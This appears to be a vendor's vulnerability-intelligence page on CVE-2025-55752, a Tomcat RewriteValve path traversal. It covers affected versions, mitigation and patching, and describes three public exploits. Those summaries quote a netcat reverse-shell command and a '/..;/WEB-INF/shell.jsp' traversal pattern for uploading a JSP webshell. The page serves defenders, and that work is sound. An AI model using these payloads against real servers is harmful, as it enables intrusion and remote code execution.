Skip to main content
Mallory
HighPublic exploitVulnerability

CVE-2025-55752: Apache Tomcat RewriteValve Path Traversal with Conditional RCE

Published Oct 27, 2025 · Updated 1 day ago
Trending this weekNot trendingOutside this week’s top 100
Mention activity · 30 days2 mentions · peak 2 in a dayToday
CVSS7.5High · v3.1
EPSS54.3%99th percentile
CISA KEVNoNot listed
In the wildReported1 exploitation record in Mallory
Vendor
Apache Software Foundation
IdentifiersCVE-2025-55752CWE-23 · Relative Path Traversal

CVE-2025-55752 is a relative path traversal vulnerability in Apache Tomcat's RewriteValve. A regression introduced by the fix for bug 60013 causes rewritten URLs to be normalized before decoding. When rewrite rules incorporate query parameters into the URL path, attacker-controlled traversal sequences can evade normalization and bypass security constraints protecting internal web application directories. If HTTP PUT is also enabled, exploitation may allow malicious file uploads leading to remote code execution. Affected versions are 11.0.0-M1 through 11.0.10, 10.1.0-M1 through 10.1.44, 9.0.0.M11 through 9.0.108, and end-of-life versions 8.5.6 through 8.5.100. Other older, unsupported versions may also be affected.

Do you run this?See affected versions in your environment and whether adversaries are exploiting this vulnerability against assets like yours.
Check your exposure
Analyst brief

Impact, mitigation & remediation

What it means and what to do now: patch path, interim mitigations, and the assume-compromise checklist.

Impact

What an attacker gets, and what they’ve been doing with it.

Successful exploitation can bypass Tomcat security constraints and expose protected web application resources, potentially disclosing sensitive configuration or application data. Where HTTP PUT is enabled and usable by the attacker, malicious files may be uploaded, potentially resulting in remote code execution and compromise of the affected application's confidentiality, integrity, and availability. Remote code execution depends on additional configuration and is not an inherent outcome on every affected installation.

Mitigation

If you can’t patch tonight, do this now.

Until patched, disable or revise rewrite rules that incorporate attacker-controlled query parameters into URL paths. Disable HTTP PUT where unnecessary; where required, restrict it to trusted, authorized users. Disabling PUT reduces the malicious-upload and remote-code-execution risk but does not eliminate the underlying security-constraint bypass. Increase monitoring for suspicious traversal requests and unexpected uploads.

Remediation

Patch, then assume compromise.

Upgrade Apache Tomcat to 11.0.11 or later, 10.1.45 or later, or 9.0.109 or later in the corresponding supported release line. Migrate affected Tomcat 8.5 installations and other unsupported releases to a supported, fixed version. For distribution-packaged or embedded Tomcat deployments, install the applicable vendor security update containing the fix.

Public exploits

Exploits

3 exploits validated by Mallory's analysis. Hidden: 1 rejected by Mallory's analysis as not a working exploit.

View more in app →
CVE-2025-55752This repository provides a comprehensive Docker-based environment to reproduce and exploit CVE-2025-55752, a path traversal vulnerability in Apache Tomcat's RewriteValve. The structure includes configuration files for Tomcat, a vulnerable web application, and both Python and Bash scripts for automated exploitation and testing. The main exploit script (docker/scripts/exploit.py) is a Python tool that tests a variety of path traversal payloads against a target Tomcat instance, attempting to read protected files such as /WEB-INF/web.xml and /META-INF/MANIFEST.MF. It also checks if the HTTP PUT method is enabled, which could allow remote code execution by uploading a malicious JSP webshell. The Bash script (docker/scripts/test_vulnerability.sh) automates similar tests using curl. The Tomcat configuration (docker/tomcat/conf/rewrite.config) sets up RewriteValve rules that are essential for triggering the vulnerability. The web application includes protected files and JSP handlers for demonstration and analysis. The exploit is operational: it provides working payloads and can confirm the vulnerability by reading protected files. If the PUT method is enabled, it can escalate to remote code execution. The repository is well-documented, with a README explaining the vulnerability, affected versions, exploitation steps, and mitigation advice. No fake or destructive code is present; the repository is a legitimate and practical exploit environment for CVE-2025-55752.masahiro331 · Disclosed Oct 29, 2025 · python · bash · networkOperationalCVE-2025-55752Repository is a self-contained PoC environment (Dockerized Tomcat + sample JSP app) and an exploit script for CVE-2025-55752-style Tomcat RewriteValve path traversal leading to arbitrary file write and RCE. Structure/purpose: - app/ (vulnerable demo container) - Dockerfile: builds Tomcat 11.0.10 image, installs netcat, deploys ROOT webapp, enables RewriteValve via server.xml, compiles a benign Filter (meow.ChumyFilter) into WEB-INF/classes. - src/ROOT/index.jsp: simple blog UI that issues PUT requests to /page?p=<id> with HTML body; lists stored blog_*.html files from /bcfa797d7c61df63. - src/ROOT/WEB-INF/rewrite.config: RewriteValve rules. Key rule takes query parameter p and rewrites /page to /bcfa797d7c61df63/blog_%1.html. The regex allows arbitrary characters in p (not excluding '/' or '..'), enabling traversal when URL-encoded. - src/ROOT/WEB-INF/web.xml + classes/meow/ChumyFilter.java: registers a Filter on /*. In the demo it only sets a response header ("Power-By: Chumy"). - src/server.xml: Tomcat config with RewriteValve enabled for the ROOT context. - docker-compose.yml: exposes 8080 and mounts ./flag into container at /f14g1337 (read-only). - exploit.sh: weaponizes the arbitrary file write by compiling a malicious replacement meow.ChumyFilter.class whose init() executes a netcat reverse shell (nc <ip> <port> -e /bin/bash). It then uploads the class via HTTP PUT to /page with p set to an encoded traversal path targeting WEB-INF/classes/meow/ChumyFilter.class (with a trailing ';' likely for bypass). Finally it starts a local nc listener to catch the shell. Exploit capabilities: - Remote arbitrary file write via crafted PUT to /page with traversal in query parameter p. - Remote code execution by overwriting a loaded servlet Filter class file and triggering class initialization, yielding a reverse shell. Notable indicators: - Network endpoint: /page (PUT) is the primary attack surface. - File target: WEB-INF/classes/meow/ChumyFilter.class overwrite. - Reverse shell: outbound TCP to attacker IP:port using netcat and /bin/bash. - Fingerprint header: "Power-By: Chumy" set by the filter in normal operation.Jimmy01240397 · Disclosed Feb 19, 2026 · bash · java · networkOperationalBlackash-CVE-2025-55752This repository provides a proof-of-concept exploit for CVE-2025-55752, a directory traversal and potential remote code execution vulnerability in Apache Tomcat. The main file, CVE-2025-55752.py, is a Python script that can (1) check if a Tomcat server is vulnerable to path traversal into protected directories (like /WEB-INF/) and (2) attempt to upload a JSP payload via HTTP PUT, then verify if the upload is accessible using a normalization bypass (e.g., /..;/WEB-INF/shell.jsp). The script supports custom payloads and filenames. The README.md gives a detailed explanation of the vulnerability, affected versions, usage instructions, and mitigation recommendations. The requirements.txt lists necessary Python dependencies. The exploit targets Tomcat servers with specific vulnerable versions and configurations, and if successful, can lead to remote code execution by uploading and accessing a web shell in a protected directory.Ashwesker · Disclosed Oct 30, 2025 · python · networkPoC
Exposure surface

Affected products & vendors

Products and vendors Mallory has correlated with this vulnerability. Open in Mallory to drill down to specific CPE configurations and version ranges.

VendorProductType
Apache Software FoundationTomcatapplication
FAQ

Frequently asked questions

Is CVE-2025-55752 exploited in the wild?
Yes. As of Nov 16, 2026, Mallory has reports of exploitation in the wild.
Is there a public exploit for CVE-2025-55752?
Yes. Mallory tracks 3 public exploits or proofs of concept for CVE-2025-55752, the earliest disclosed Oct 29, 2025.
Is there a patch for CVE-2025-55752?
Upgrade Apache Tomcat to 11.0.11 or later, 10.1.45 or later, or 9.0.109 or later in the corresponding supported release line. Migrate affected Tomcat 8.5 installations and other unsupported releases to a supported, fixed version.
What products are affected by CVE-2025-55752?
Apache Software Foundation Tomcat.
How severe is CVE-2025-55752?
CVE-2025-55752 has a CVSS v3.1 score of 7.5 (High) and an EPSS score of 54.3% (99th percentile) as of Nov 16, 2026.
Activity feed

Recent activity

41 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.

View more in app →
+7 more in the timeline. Sign up to see them
Do you run this?See affected versions in your environment and whether adversaries are exploiting this vulnerability against assets like yours.
Check your exposure
Mallory platform

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets are affected, which adversaries are exploiting it right now, and which detections to deploy tonight.
Exposure mappingQuery your assets running an affected version, and investigate the blast radius.
Threat actor evidenceEvery report linking this CVE to a named adversary.
Associated malwareMalware families linked to this CVE, with evidence and IOCs.
Detection signatures1YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Vendor-by-vendor mappingCross-references every affected SKU, including bundled OEM variants.
Social activity24Community discussion across Reddit, Mastodon, and other social sources.